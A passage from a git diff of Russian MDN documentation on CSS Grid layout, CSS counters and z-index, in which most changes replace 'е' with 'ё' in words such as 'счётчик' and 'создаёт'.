и<code>grid-column-start/grid-column-end</code>. Два примера ниже создают одну и ту же грид-область. В первом примере мы задаём начальную строчную линию, а после говорим свойству, отвечающему за конечную линию: эй, мы хотим занять под этот элемент три линии. В итоге, грид-область начинается с первой линии и занимает пространство до 4-ой.</p> <pre class="notranslate">.box1 { grid-column-start: 1; @@ -590,7 +590,7 @@ original_slug: >- } </pre> -<p>Чтобы лучше освоиться с размещением элементов по грид-линиям, попробуйте собрать несколько распространенных макетов, располагая элементы на гридах с различным количеством колонок. Помните, что если вы не размещаете все Ваши элементы, оставшиеся располагаются в соответствии с правилами авторазмещения. В результате может получиться как раз тот макет, который Вам нужен, но не факт, и если что-то пошло не так, проверьте, определили ли Вы позицию для проблемного элемента.</p> +<p>Чтобы лучше освоиться с размещением элементов по грид-линиям, попробуйте собрать несколько распространённых макетов, располагая элементы на гридах с различным количеством колонок. Помните, что если вы не размещаете все Ваши элементы, оставшиеся располагаются в соответствии с правилами авторазмещения. В результате может получиться как раз тот макет, который Вам нужен, но не факт, и если что-то пошло не так, проверьте, определили ли Вы позицию для проблемного элемента.</p> <p>Также помните, что элементы на гриде могут перекрывать друг друга, если Вы намеренно разместили их так, чтобы они друг друга перекрывали. Подобное поведение позволяет получить интересные эффекты, но, если Вы некорректно задали начальные и конечные линии, результат может неприятно Вас удивить. <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Firefox Grid Highlighter</a> будет крайне полезен в процессе обучения, особенно, когда Вы строите сложные гриды.</p> diff --git a/files/ru/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html b/files/ru/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html index c452871664..625700ca08 100644 --- a/files/ru/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html +++ b/files/ru/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_ <h2 id="Адаптивный_1-3_колоночный_макет_с_использованием_grid-template-areas"><font face="Liberation Sans, sans-serif"><font size="4">Адаптивный 1-3 колоночный макет с использованием</font></font> <code>grid-template-areas</code></h2> -<p>Многие веб-сайты являются разновидностью такого типа макета, с основным содержанием, боковыми панелями, хедером и футером. В адаптивном дизайне вы можете отобразить макет в виде одного столбца, добавив боковую панель в определенном месте, а затем ввести макет из трех столбцов для более широких экранов.</p> +<p>Многие веб-сайты являются разновидностью такого типа макета, с основным содержанием, боковыми панелями, хедером и футером. В адаптивном дизайне вы можете отобразить макет в виде одного столбца, добавив боковую панель в определённом месте, а затем ввести макет из трёх столбцов для более широких экранов.</p> <p><img alt="Image of the three different layouts created by redefining our grid at two breakpoints." src="https://mdn.mozillademos.org/files/14749/11-responsive-areas.png"></p> @@ -114,7 +114,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_ } </pre> -<p>Вы можете видеть, как макет принимает форму в значении {{cssxref("grid-template-areas")}}. Заголовок охватывает две дорожки столбцов, как и навигационная система. В треке третьего ряда у нас есть боковая панель рядом с содержимым. В четвертой строке я решил разместить свой рекламный контент – так он появляется под боковой панелью, а затем футер, рядом с ним под контентом. Я использую flexbox в навигации, чтобы отобразить его в разнесенном ряду.</p> +<p>Вы можете видеть, как макет принимает форму в значении {{cssxref("grid-template-areas")}}. Заголовок охватывает две дорожки столбцов, как и навигационная система. В треке третьего ряда у нас есть боковая панель рядом с содержимым. В четвёртой строке я решил разместить свой рекламный контент – так он появляется под боковой панелью, а затем футер, рядом с ним под контентом. Я использую flexbox в навигации, чтобы отобразить его в разнесённом ряду.</p> <p>Теперь я могу добавить конечные точки в наш 3-х колоночный макет.</p> @@ -133,7 +133,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_ } </pre> -<p>Трехколоночный макет имеет две боковые колонки размером <code>1fr</code> и среднюю колонку, размером <code>4fr</code> . Это означает, что доступное пространство в контейнере разделено на 6 ячеек и распределено пропорционально нашему макету – по одной части к боковым колонкам и по 4 части к центру.</p> +<p>Трёхколоночный макет имеет две боковые колонки размером <code>1fr</code> и среднюю колонку, размером <code>4fr</code> . Это означает, что доступное пространство в контейнере разделено на 6 ячеек и распределено пропорционально нашему макету – по одной части к боковым колонкам и по 4 части к центру.</p> <p>В этом макете я показываю навигацию в левой колонке, рядом с содержимым. В правой колонке у нас есть боковая панель, а под ней блок рекламы (ad). Футер теперь охватывает всю нижнюю часть макета. Затем я использую flexbox для отображения навигации в виде столбца.</p> @@ -273,7 +273,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_ } </pre> -<p>В следующей контрольной точке мы хотим перейти к двухколоночному макету. Наш заголовок и навигация по-прежнему охватывают всю сетку, поэтому нам не нужно указывать для них какое-либо позиционирование. Боковая панель начинается с первой строки столбца с именем col-start, охватывающей 3 строки. Он идет после строки 3, так как заголовок и навигация находятся в первых двух дорожках строки.</p> +<p>В следующей контрольной точке мы хотим перейти к двухколоночному макету. Наш заголовок и навигация по-прежнему охватывают всю сетку, поэтому нам не нужно указывать для них какое-либо позиционирование. Боковая панель начинается с первой строки столбца с именем col-start, охватывающей 3 строки. Он идёт после строки 3, так как заголовок и навигация находятся в первых двух дорожках строки.</p> <p>Панель объявлений находится ниже боковой панели, поэтому начинается с строки сетки 4. Затем у нас есть основное содержимое и футер, начинающийся с col-start 4 и охватывающий 9 треков, ведущих их к концу сетки.</p> @@ -297,7 +297,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_ } </pre> -<p>Наконец, мы переходим к трехколоночной версии этого макета. Заголовок продолжает распространяться прямо по сетке, но теперь навигация перемещается вниз, чтобы стать первой боковой панелью с основным содержимым, а затем боковой панелью рядом с ней. Футер теперь также охватывает весь макет.</p> +<p>Наконец, мы переходим к трёхколоночной версии этого макета. Заголовок продолжает распространяться прямо по сетке, но теперь навигация перемещается вниз, чтобы стать первой боковой панелью с основным содержимым, а затем боковой панелью рядом с ней. Футер теперь также охватывает весь макет.</p> <pre class="brush: css">@media (min-width: 700px) { .main-nav { @@ -431,7 +431,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_ <p>{{ EmbedLiveSample('layout_4', '800', '900') }}</p> </div> -<p>Теперь все это выглядит более завершенным. Однако иногда у нас есть эти элементы, которые содержат больше контента, чем другие. Было бы неплохо, чтобы они охватывали два трека, и тогда они не будут такими высокими. У меня есть класс <code>wide</code> для большого элемента, и я добавляю правило {{cssxref("grid-column-end")}} со значением <code>span 2</code>. Теперь, когда grid столкнется с этим элементом, он назначит ему два трека. В некоторых точках это означает, что мы получим разрыв в сетке – там, где нет места для размещения двухтрекового элемента.</p> +<p>Теперь все это выглядит более завершённым. Однако иногда у нас есть эти элементы, которые содержат больше контента, чем другие. Было бы неплохо, чтобы они охватывали два трека, и тогда они не будут такими высокими. У меня есть класс <code>wide</code> для большого элемента, и я добавляю правило {{cssxref("grid-column-end")}} со значением <code>span 2</code>. Теперь, когда grid столкнётся с этим элементом, он назначит ему два трека. В некоторых точках это означает, что мы получим разрыв в сетке – там, где нет места для размещения двухтрекового элемента.</p> <p><img alt="The layout has gaps as there is not space to layout a two track item." src="https://mdn.mozillademos.org/files/14751/11-grid-auto-flow-sparse.png" style="height: 812px; width: 800px;"></p> @@ -522,7 +522,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_ <p>{{ EmbedLiveSample('layout_5', '800', '900') }}</p> -<p>Этот метод использования автоматического размещения с некоторыми правилами, применяемыми к определенным элементам, очень полезен и может помочь вам с контентом, который выводится CMS, например, где у вас есть повторяющиеся элементы и, возможно, вы можете добавить класс к определенным элементам, когда они отображаются в HTML.</p> +<p>Этот метод использования автоматического размещения с некоторыми правилами, применяемыми к определённым элементам, очень полезен и может помочь вам с контентом, который выводится CMS, например, где у вас есть повторяющиеся элементы и, возможно, вы можете добавить класс к определённым элементам, когда они отображаются в HTML.</p> </div> <h2 id="Дальнейшие_исследования">Дальнейшие исследования</h2> diff --git a/files/ru/web/css/css_grid_layout/relationship_of_grid_layout/index.html b/files/ru/web/css/css_grid_layout/relationship_of_grid_layout/index.html index db89d68fae..c479b58054 100644 --- a/files/ru/web/css/css_grid_layout/relationship_of_grid_layout/index.html +++ b/files/ru/web/css/css_grid_layout/relationship_of_grid_layout/index.html @@ -18,7 +18,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <p>В пером примере мы воспользуемся flexbox для того, чтобы разместить несколько блоков. Предположим, что у нас есть пять дочерних элементов в контейнере, зададим им значения flex-свойств таким образом, чтобы их размер увеличивался и уменьшался, начиная с базового в 200px.</p> -<p>Также установим свойство {{cssxref("flex-wrap")}} в значение <code>wrap</code> . Это приведет к тому, что если свободного пространства в нашем контейнере будет не хватать для размещения элемента в 200px, наши элементы спокойно перейдут на новую строку. </p> +<p>Также установим свойство {{cssxref("flex-wrap")}} в значение <code>wrap</code> . Это приведёт к тому, что если свободного пространства в нашем контейнере будет не хватать для размещения элемента в 200px, наши элементы спокойно перейдут на новую строку. </p> <div id="onedtwod"> <div class="hidden"> @@ -67,7 +67,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <h3 id="Тот_же_макет_но_с_CSS_гридами">Тот же макет, но с CSS гридами</h3> -<p>В примере ниже мы создаем тот же самый макет, но используя гриды. На этот раз у нас три трека-колонки шириной в <code>1fr</code> . И при этом нам не требуется задавать какие-либо свойства дочерним элементам, потому что они самостоятельно занимают по одной ячейке созданного грида. Как видите, наши элементы лежат в жесткой сетке и выравниваются и по строке, и по колонке. Поскольку у нас пять элементов, в результате мы получаем пустую ячейку в конце второй строки. </p> +<p>В примере ниже мы создаём тот же самый макет, но используя гриды. На этот раз у нас три трека-колонки шириной в <code>1fr</code> . И при этом нам не требуется задавать какие-либо свойства дочерним элементам, потому что они самостоятельно занимают по одной ячейке созданного грида. Как видите, наши элементы лежат в жёсткой сетке и выравниваются и по строке, и по колонке. Поскольку у нас пять элементов, в результате мы получаем пустую ячейку в конце второй строки. </p> <div class="Two_Dimensional_With_Grid"> <div class="hidden"> @@ -116,9 +116,9 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <h3 id="Что_важнее_контент_или_макет">Что важнее: контент или макет?</h3> -<p>В дополнение к различию между позиционированию в одном направлении и позиционированию в двух направлениях, существует еще один способ решить, нужен ли Вам макет, основанный на flexbox или макет, основанный на гридах. Flexbox работает исходя из размеров контента. Идеальный случай использования flexbox - когда у Вас есть набор элементов, а Вам нужно распределить их в контейнере равномерно. Вы позволяете размеру содержимого элементов решить, сколько пространства должен забрать каждый элемент. Если элементы переходят на новую строку, они забирают для себя пространство, исходя из своих размеров и того свободного места, которое есть в <em>этой строке</em>.</p> +<p>В дополнение к различию между позиционированию в одном направлении и позиционированию в двух направлениях, существует ещё один способ решить, нужен ли Вам макет, основанный на flexbox или макет, основанный на гридах. Flexbox работает исходя из размеров контента. Идеальный случай использования flexbox - когда у Вас есть набор элементов, а Вам нужно распределить их в контейнере равномерно. Вы позволяете размеру содержимого элементов решить, сколько пространства должен забрать каждый элемент. Если элементы переходят на новую строку, они забирают для себя пространство, исходя из своих размеров и того свободного места, которое есть в <em>этой строке</em>.</p> -<p>Грид работает, исходя из макета. Когда Вы используете CSS Grid Layout, Вы создаете структуру и затем размещаете элементы именно в этой структуре или же позволяете правилам авто-размещения разместить элементы в грид-ячейках в соответствии с жестко заданной сеткой. Конечно, существует возможность создавать треки, подстраивающиеся под размер контента, но при этом они также меняют саму структуру.</p> +<p>Грид работает, исходя из макета. Когда Вы используете CSS Grid Layout, Вы создаёте структуру и затем размещаете элементы именно в этой структуре или же позволяете правилам авто-размещения разместить элементы в грид-ячейках в соответствии с жёстко заданной сеткой. Конечно, существует возможность создавать треки, подстраивающиеся под размер контента, но при этом они также меняют саму структуру.</p> <p>Поэтому, если Вы используете flexbox и вдруг обнаруживаете, что ограничиваете эластичность элементов, возможно, Вам нужно посмотреть в сторону CSS Grid Layout. Например, в том случае, если Вы процентами подгоняете ширину flex-элемента, чтобы выровнять его по элементам в строке сверху. В такой ситуации гриды кажутся более оптимальным выбором. </p> @@ -130,7 +130,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <p>Дальше в нашем руководстве мы подробно рассмотрим выравнивание блоков Box Alignment и то, как оно работает в Grid Layout, а здесь давайте рассмотрим два простых примера, и сравним flexbox и гриды.</p> -<p>В первом примере, использующем flexbox, у нас есть контейнер с тремя элементами. Для блока-обертки wrapper установлено свойство {{cssxref("min-height")}}, и оно задает высоту flex-контейнера. Мы установили свойство {{cssxref("align-items")}} flex-контейнера в значение <code>flex-end</code> , поэтому элементы выравниваются по концу flex-контейнера. Мы также установили значение свойства {{cssxref("align-self")}} для <code>box1</code> таким образом, что оно перезапишет поведение по умолчанию и заставит наш блок растянутся на всю высоту контейнера. Для <code>box2</code> свойство {{cssxref("align-self")}} установлено таким образом, что блок перепрыгнет в начало flex-контейнера.</p> +<p>В первом примере, использующем flexbox, у нас есть контейнер с тремя элементами. Для блока-обёртки wrapper установлено свойство {{cssxref("min-height")}}, и оно задаёт высоту flex-контейнера. Мы установили свойство {{cssxref("align-items")}} flex-контейнера в значение <code>flex-end</code> , поэтому элементы выравниваются по концу flex-контейнера. Мы также установили значение свойства {{cssxref("align-self")}} для <code>box1</code> таким образом, что оно перезапишет поведение по умолчанию и заставит наш блок растянутся на всю высоту контейнера. Для <code>box2</code> свойство {{cssxref("align-self")}} установлено таким образом, что блок перепрыгнет в начало flex-контейнера.</p> <div class="hidden"> <pre class="brush: css notranslate">* {box-sizing: border-box;} @@ -175,7 +175,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <h3 id="Тем_временем_в_параллельной_вселенной_выравнивание_в_CSS_Гридах">Тем временем в параллельной вселенной: выравнивание в CSS Гридах</h3> -<p>Второй пример использует грид, чтобы создать тот же самый макет, и на этот раз мы рассмотрим то, как свойства выравнивания блоков применяются к гридам. Вместо <code>flex-start</code> и <code>flex-end</code> мы задаем <code>start</code> и <code>end</code> . В случае с макетом на гридах мы выравниваем элементы внутри их грид-области, в данном примере - это одна единственная грид-ячейка, но в целом грид-область может состоять из нескольких грид-ячеек.</p> +<p>Второй пример использует грид, чтобы создать тот же самый макет, и на этот раз мы рассмотрим то, как свойства выравнивания блоков применяются к гридам. Вместо <code>flex-start</code> и <code>flex-end</code> мы задаём <code>start</code> и <code>end</code> . В случае с макетом на гридах мы выравниваем элементы внутри их грид-области, в данном примере - это одна единственная грид-ячейка, но в целом грид-область может состоять из нескольких грид-ячеек.</p> <div class="hidden"> <pre class="brush: css notranslate">* {box-sizing: border-box;} @@ -228,9 +228,9 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <h4 id="Автозаполнение_грид-треков">Автозаполнение грид-треков</h4> -<p>Можно создать эффект, похожий на поведение flexbox, и при этом по-прежнему держать контент в жесткой сетке из строк и колонок, если задать структуру треков, используя repeat-нотацию и свойства <code>auto-fill</code> и <code>auto-fit</code>.</p> +<p>Можно создать эффект, похожий на поведение flexbox, и при этом по-прежнему держать контент в жёсткой сетке из строк и колонок, если задать структуру треков, используя repeat-нотацию и свойства <code>auto-fill</code> и <code>auto-fit</code>.</p> -<p>В примере ниже мы используем ключевое слово <code>auto-fill</code> вместо целого числа в repeat-нотации и задаем структуру треков размером в 200 пикселей. Это значит, что грид создаст столько треков-колонок размером в 200 пикселей, сколько их может разместиться в контейнере.</p> +<p>В примере ниже мы используем ключевое слово <code>auto-fill</code> вместо целого числа в repeat-нотации и задаём структуру треков размером в 200 пикселей. Это значит, что грид создаст столько треков-колонок размером в 200 пикселей, сколько их может разместиться в контейнере.</p> <div class="hidden"> <pre class="brush: css notranslate">* {box-sizing: border-box;} @@ -268,7 +268,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <h3 id="Переменное_количество_треков">Переменное количество треков</h3> -<p>Давайте вспомним пример с flexbox, когда элементы, размер которых больше 200 пикселей, переходят на новую строку. Тот же самый эффект в гридах мы можем получить комбинируя <code>auto-fill</code> и функцию {{cssxref("minmax", "minmax()")}}. В примере ниже мы создаем автозаполненные треки с помощью <code>minmax</code>. Мы хотим, чтобы треки были как минимум 200 пикселей в ширину, это наше минимальное значение, а для максимального зададим <code>1fr</code>. В процессе, когда браузер вычисляет, сколько блоков в 200 пикселей может разместиться в контейнере - при этом учитывая грид-зазоры - он расценивает максимум <code>1fr</code> как инструкцию распределить оставшееся свободное пространство между этими блоками.</p> +<p>Давайте вспомним пример с flexbox, когда элементы, размер которых больше 200 пикселей, переходят на новую строку. Тот же самый эффект в гридах мы можем получить комбинируя <code>auto-fill</code> и функцию {{cssxref("minmax", "minmax()")}}. В примере ниже мы создаём автозаполненные треки с помощью <code>minmax</code>. Мы хотим, чтобы треки были как минимум 200 пикселей в ширину, это наше минимальное значение, а для максимального зададим <code>1fr</code>. В процессе, когда браузер вычисляет, сколько блоков в 200 пикселей может разместиться в контейнере - при этом учитывая грид-зазоры - он расценивает максимум <code>1fr</code> как инструкцию распределить оставшееся свободное пространство между этими блоками.</p> <div class="hidden"> <pre class="brush: css notranslate">* {box-sizing: border-box;} @@ -304,7 +304,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <p>{{ EmbedLiveSample('A_flexible_number_of_tracks', '500', '170') }}</p> -<p>Собственно, теперь у нас есть возможность создавать гриды с переменным количеством или с переменным размером треков и при этом по-прежнему держать элементы в жесткой сетке из строк и колонок.</p> +<p>Собственно, теперь у нас есть возможность создавать гриды с переменным количеством или с переменным размером треков и при этом по-прежнему держать элементы в жёсткой сетке из строк и колонок.</p> <h2 id="Гриды_и_абсолютно_позиционированные_элементы">Гриды и абсолютно позиционированные элементы</h2> @@ -314,7 +314,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <p>Для того, чтобы превратить грид-контейнер в контейнерный блок Вам нужно добавить ему свойство position со значением relative. Если после этого задать какому-нибудь грид-элементу <code>position:</code> <code>absolute</code> , грид-контейнер станет контейнерным блоком для данного элемента.</p> -<p>В примере ниже у нас есть блок-обертка с четырьмя дочерними элементами. Третий элемент абсолютно позиционирован и одновременно размещен в гриде с помощью привязки к грид-линиям. У грид-контейнера <code>position:</code> <code>relative</code> , поэтому он становится контекстом позиционирования для нашего третьего элемента.</p> +<p>В примере ниже у нас есть блок-обёртка с четырьмя дочерними элементами. Третий элемент абсолютно позиционирован и одновременно размещён в гриде с помощью привязки к грид-линиям. У грид-контейнера <code>position:</code> <code>relative</code> , поэтому он становится контекстом позиционирования для нашего третьего элемента.</p> <div class="hidden"> <pre class="brush: css notranslate">* {box-sizing: border-box;} @@ -340,7 +340,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <div class="box2">Two</div> <div class="box3"> Этот блок абсолютно позиционирован. -В нашем примере грид-контейнер является контейнерным блоком, поэтому значения сдвига абсолютного позиционирования отсчитываются от внешнего края той области, в которой размещен элемент. +В нашем примере грид-контейнер является контейнерным блоком, поэтому значения сдвига абсолютного позиционирования отсчитываются от внешнего края той области, в которой размещён элемент. </div> <div class="box4">Four</div> </div> @@ -372,17 +372,17 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <h3 id="Грид-контейнер_в_качестве_родительского_элемента">Грид-контейнер в качестве родительского элемента</h3> -<p>Если у абсолютно позиционированного элемента в качестве родительского контейнера выступает грид, не создающий новый контекст позиционирования, наш элемент также вытаскивается из потока, как и в предыдущем примере. Но в этом случае контекстом позиционирования будет любой элемент, который как раз и создает этот контекст позиционирования. Словом, если в нашем примере мы уберем <code>position:</code> <code>relative</code> из блока-обертки, контекстом позиционирования станет область просмотра, что хорошо видно на рисунке ниже.</p> +<p>Если у абсолютно позиционированного элемента в качестве родительского контейнера выступает грид, не создающий новый контекст позиционирования, наш элемент также вытаскивается из потока, как и в предыдущем примере. Но в этом случае контекстом позиционирования будет любой элемент, который как раз и создаёт этот контекст позиционирования. Словом, если в нашем примере мы уберём <code>position:</code> <code>relative</code> из блока-обёртки, контекстом позиционирования станет область просмотра, что хорошо видно на рисунке ниже.</p> <p><img alt="Image of grid container as parent" src="https://mdn.mozillademos.org/files/14661/2_abspos_example.png" style="height: 408px; width: 1702px;"></p> -<p>Еще раз: наш элемент больше не занимает пространство в грид-макете и не влияет на то, как располагаются другие элементы при авторазмещении.</p> +<p>Ещё раз: наш элемент больше не занимает пространство в грид-макете и не влияет на то, как располагаются другие элементы при авторазмещении.</p> <h3 id="А_что_если_родительский_элемент_-_это_грид-область">А что если родительский элемент - это грид-область?</h3> <p>Если абсолютно позиционированный элемент находится в грид-области, Вы можете создать контекст позиционирования из этой области. В примере ниже у нас тот же грид-макет, что и раньше, но теперь мы разместили элемент внутри <code>.box3</code> .</p> -<p>Задаем <code>.box3</code> свойство position в значении relative и затем перемещаем наш под-элемент с помощью свойств сдвига. В данном случае контекстом позиционирования является грид-область.</p> +<p>Задаём <code>.box3</code> свойство position в значении relative и затем перемещаем наш под-элемент с помощью свойств сдвига. В данном случае контекстом позиционирования является грид-область.</p> <div class="hidden"> <pre class="brush: css notranslate">* {box-sizing: border-box;} @@ -408,7 +408,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <div class="box2">Two</div> <div class="box3">Three <div class="abspos"> - Этот блок абсолютно позиционирован. В данном примере контекстом позиционирования является грид-область, поэтому значения сдвига отсчитываются от внешних краев грид-области. + Этот блок абсолютно позиционирован. В данном примере контекстом позиционирования является грид-область, поэтому значения сдвига отсчитываются от внешних краёв грид-области. </div> </div> <div class="box4">Four</div> @@ -449,7 +449,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <p>“Сам элемент не генерирует никаких блоков (боксов), но его дочерние элементы и его псевдо-элементы по-прежнему генерируют блоки, в установленном порядке. Относительно генерации и позиционирования блоков элемент должен восприниматься так, как если бы он полностью замещался своими дочерними элементами и псевдо-элементами в дереве документа.”</p> </blockquote> -<p>Если Вы пишете для элемента <code>display:</code> <code>contents</code> , блок (бокс), который он должен создать в дереве документа исчезает, а вот блоки его дочерних элементов и его псевдо-элементов переходят на один уровень вверх. А значит это то, что дочерние элементы грид-элемента могут сами стать грид-элементами. Звучит непонятно? Давайте разберемся на простом примере. В разметке ниже у нас есть грид. Первый элемент этого грида настроен так, чтобы занимать все три трека-колонки. У него есть три вложенных элемента. Поскольку эти вложенные элементы не являются прямыми потомками грида, они не становятся частью грид-макета и отображаются, как обычные блоки.</p> +<p>Если Вы пишете для элемента <code>display:</code> <code>contents</code> , блок (бокс), который он должен создать в дереве документа исчезает, а вот блоки его дочерних элементов и его псевдо-элементов переходят на один уровень вверх. А значит это то, что дочерние элементы грид-элемента могут сами стать грид-элементами. Звучит непонятно? Давайте разберёмся на простом примере. В разметке ниже у нас есть грид. Первый элемент этого грида настроен так, чтобы занимать все три трека-колонки. У него есть три вложенных элемента. Поскольку эти вложенные элементы не являются прямыми потомками грида, они не становятся частью грид-макета и отображаются, как обычные блоки.</p> <div id="Display_Contents_Before"> <div class="hidden"> diff --git a/files/ru/web/css/css_grid_layout/subgrid/index.html b/files/ru/web/css/css_grid_layout/subgrid/index.html index d0d92dae7d..2147cfeeeb 100644 --- a/files/ru/web/css/css_grid_layout/subgrid/index.html +++ b/files/ru/web/css/css_grid_layout/subgrid/index.html @@ -31,7 +31,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Subgrid <p>{{EmbedGHLiveSample("css-examples/grid/subgrid/columns.html", '100%', 1200)}}</p> -<p>Обратите внимание, что внутри subgrid нумерация линий не наследуется от родителя, а начинается по новой – колоночная линия 1 внутри subgrid всегда является его начальной линией. Это значит, что вы можете безопасно добавить компонент, который может быть помещен в разных позициях на главной сетке, зная, что номера линий внутри компонента всегда будут оставаться одинаковыми.</p> +<p>Обратите внимание, что внутри subgrid нумерация линий не наследуется от родителя, а начинается по новой – колоночная линия 1 внутри subgrid всегда является его начальной линией. Это значит, что вы можете безопасно добавить компонент, который может быть помещён в разных позициях на главной сетке, зная, что номера линий внутри компонента всегда будут оставаться одинаковыми.</p> <h2 id="Subgrid_для_строк">Subgrid для строк</h2> diff --git a/files/ru/web/css/css_lists_and_counters/using_css_counters/index.html b/files/ru/web/css/css_lists_and_counters/using_css_counters/index.html index 36bce31553..747e2bfc6c 100644 --- a/files/ru/web/css/css_lists_and_counters/using_css_counters/index.html +++ b/files/ru/web/css/css_lists_and_counters/using_css_counters/index.html @@ -1,33 +1,33 @@ --- -title: CSS счетчики +title: CSS счётчики slug: Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters tags: - CSS - - CSS счетчики - - вложенные счетчики + - CSS счётчики + - вложенные счётчики translation_of: Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters --- <div>{{CSSRef}}</div> -<p>CSS счетчики, в своей сущности, переменные CSS, значения которых могут быть инкрементированы при помощи CSS для отслеживания количества их использования. Они позволяют регулировать внешний вид контента, основываясь на его местоположении в документе. CSS счетчики реализованы в CSS 2.1 (<a href="https://www.w3.org/TR/CSS21/generate.html#counters">ссылка на спецификацию</a>).</p> +<p>CSS счётчики, в своей сущности, переменные CSS, значения которых могут быть инкрементированы при помощи CSS для отслеживания количества их использования. Они позволяют регулировать внешний вид контента, основываясь на его местоположении в документе. CSS счётчики реализованы в CSS 2.1 (<a href="https://www.w3.org/TR/CSS21/generate.html#counters">ссылка на спецификацию</a>).</p> -<p>Значение счетчика сбрасывается (инициализируется) при помощи {{cssxref("counter-reset")}}. </p> +<p>Значение счётчика сбрасывается (инициализируется) при помощи {{cssxref("counter-reset")}}. </p> -<p>{{cssxref("counter-increment")}} может быть отображен на странице, используя функцию <code>counter() или counters() в свойстве </code>{{cssxref("content")}}.</p> +<p>{{cssxref("counter-increment")}} может быть отображён на странице, используя функцию <code>counter() или counters() в свойстве </code>{{cssxref("content")}}.</p> -<h2 id="Использование_счетчиков">Использование счетчиков</h2> +<h2 id="Использование_счётчиков">Использование счётчиков</h2> -<p>Для того, чтобы использовать CSS счетчики, сначала необходимо сбросить их значение (0 по умолчанию). Для того, чтобы отобразить значение счетчика - используйте функцию <code>counter(). Следующий пример прибавляет в начале каждого h3 элемента </code>"Section <<em>значение счетчика</em>>:".</p> +<p>Для того, чтобы использовать CSS счётчики, сначала необходимо сбросить их значение (0 по умолчанию). Для того, чтобы отобразить значение счётчика - используйте функцию <code>counter(). Следующий пример прибавляет в начале каждого h3 элемента </code>"Section <<em>значение счётчика</em>>:".</p> <pre class="brush: css">body { counter-reset: section; /* Устанавливает значение - счетчика, равным 0 */ + счётчика, равным 0 */ } h3::before { - counter-increment: section; /* Инкрементирует счетчик*/ + counter-increment: section; /* Инкрементирует счётчик*/ content: "Секция " counter(section) ": "; /* Отображает текущее - значение счетчика */ + значение счётчика */ } </pre> @@ -37,20 +37,20 @@ h3::before { <h3>Основная часть</h3> <h3>Заключение</h3></pre> -<p>{{EmbedLiveSample("Использование_счетчиков", 200, 150)}}</p> +<p>{{EmbedLiveSample("Использование_счётчиков", 200, 150)}}</p> -<h2 id="Вложенные_счетчики">Вложенные счетчики</h2> +<h2 id="Вложенные_счётчики">Вложенные счётчики</h2> -<p>CSS счетчики могут быть очень полезны для создания нумерованных списков, потому что новая сущность CSS счетчика автоматически создается в дочерних элементах. Используя функцию <code>counters(), можно вставить строку между разными уровнями вложенных счетчиков. Пример:</code></p> +<p>CSS счётчики могут быть очень полезны для создания нумерованных списков, потому что новая сущность CSS счётчика автоматически создаётся в дочерних элементах. Используя функцию <code>counters(), можно вставить строку между разными уровнями вложенных счётчиков. Пример:</code></p> <pre class="brush: css">ol { - counter-reset: section; /*Создает новый счетчик для каждого + counter-reset: section; /*Создаёт новый счётчик для каждого тега <ol>*/ list-style-type: none; } li::before { - counter-increment: section; /*Инкрементируется только счетчик + counter-increment: section; /*Инкрементируется только счётчик текущего уровня вложенности*/ content: counters(section,".") " ";/*Добавляем значения всех уровней вложенности, используя разделитель '.'*/ @@ -92,7 +92,7 @@ li::before { <p>Результат:</p> -<p>{{EmbedLiveSample("Вложенные_счетчики", 250, 350)}}</p> +<p>{{EmbedLiveSample("Вложенные_счётчики", 250, 350)}}</p> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/css/css_positioning/understanding_z_index/adding_z-index/index.html b/files/ru/web/css/css_positioning/understanding_z_index/adding_z-index/index.html index 1fe2ab3f3c..2ca973e2ae 100644 --- a/files/ru/web/css/css_positioning/understanding_z_index/adding_z-index/index.html +++ b/files/ru/web/css/css_positioning/understanding_z_index/adding_z-index/index.html @@ -8,7 +8,7 @@ original_slug: Web/Guide/CSS/Understanding_z_index/Adding_z-index <p>The first part of this article, <a href="/en/CSS/Understanding_z-index/Stacking_without_z-index" title="en/CSS/Understanding_z-index/Stacking_without_z-index">Stacking without the z-index property</a>, explains how stacking is arranged by default. If you want to create a custom stacking order, you can use the {{cssxref("z-index")}} property on a <a href="/en-US/docs/Web/CSS/position#Types_of_positioning">positioned</a> element.</p> -<p>Свойство <code>z-index</code> может иметь значение в целых числах (положительные, ноль, или отрицательные), что представляет собой позицию элемента вдоль оси z. Если вы не знакомы с<strong> </strong>осью<strong> </strong>z, представьте себе страницу как стопку слоев, имеющих собственное порядковое число. Слои представлены в числовом порядке, with larger 